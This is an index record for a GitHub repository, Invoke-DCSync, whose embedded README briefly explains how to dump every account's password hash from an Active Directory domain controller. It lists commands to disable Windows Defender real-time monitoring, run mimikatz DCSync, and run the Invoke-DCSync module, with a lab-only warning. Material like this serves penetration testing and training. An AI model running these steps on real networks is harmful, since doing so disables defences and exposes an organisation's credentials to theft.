{"id":21616674,"url":"https://github.com/al1ex/invoke-dcsync","last_synced_at":"2026-01-07T08:03:19.662Z","repository":{"id":108708536,"uuid":"294697604","full_name":"Al1ex/Invoke-DCSync","owner":"Al1ex","description":"Invoke-DCSync","archived":false,"fork":false,"pushed_at":"2020-09-11T13:08:54.000Z","size":506,"stargazers_count":1,"open_issues_count":0,"forks_count":3,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-02-03T09:40:53.552Z","etag":null,"topics":["invoke-dcsync"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-09-11T13:06:19.000Z","updated_at":"2024-08-12T20:05:40.000Z","dependencies_parsed_at":"2023-04-24T02:20:17.831Z","dependency_job_id":null,"html_url":"https://github.com/Al1ex/Invoke-DCSync","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FInvoke-DCSync","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FInvoke-DCSync/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FInvoke-DCSync/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FInvoke-DCSync/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/Invoke-DCSync/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246112662,"owners_count":20725300,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["invoke-dcsync"],"created_at":"2024-11-24T22:15:01.326Z","updated_at":"2026-01-07T08:03:19.579Z","avatar_url":"https://github.com/Al1ex.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Invoke-DCSync\nInvoke-DCSync\nReference: https://adsecurity.org/?p=1729\nReference: https://silentbreaksecurity.com/invoke-dcsync-because-we-all-wanted-it/\nGoal: retrieve password hashes from all user accounts on a domain controller using the mimikatz DCSync function\n\nWarning：Only do this in a lab environment.\n\nmimikatz implemented a tool called DCSync, this allows mimikatz to impersonate a Domain Controller and attempt to retrieve all password hashes from another domain controller.\n\nYou may need to disable Windows Defender\n\nOpen up PowerShell as an administrator and type\n\n$ Set-MpPreference -DisableRealtimeMonitoring $true\n\nStart mimikatz\n\n$ lsadump::dcsync /domain:test.local /user:Administrator\n\nNow you have the password hash from that user\n\nThis required that you have Administrator access, specifically the Get-Replication-Changes-All Common Name attribute\n\nCan use the Invoke-DCSync module to extract all hashes.\n\nDownload from: https://gist.github.com/monoxgas/9d238accd969550136db\n\n~~~\n$ Import-Module ./Invoke-DCSync.ps1\n$ Invoke-DCSync -PWDumpFormat\n~~~\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Finvoke-dcsync","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Finvoke-dcsync","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Finvoke-dcsync/lists"}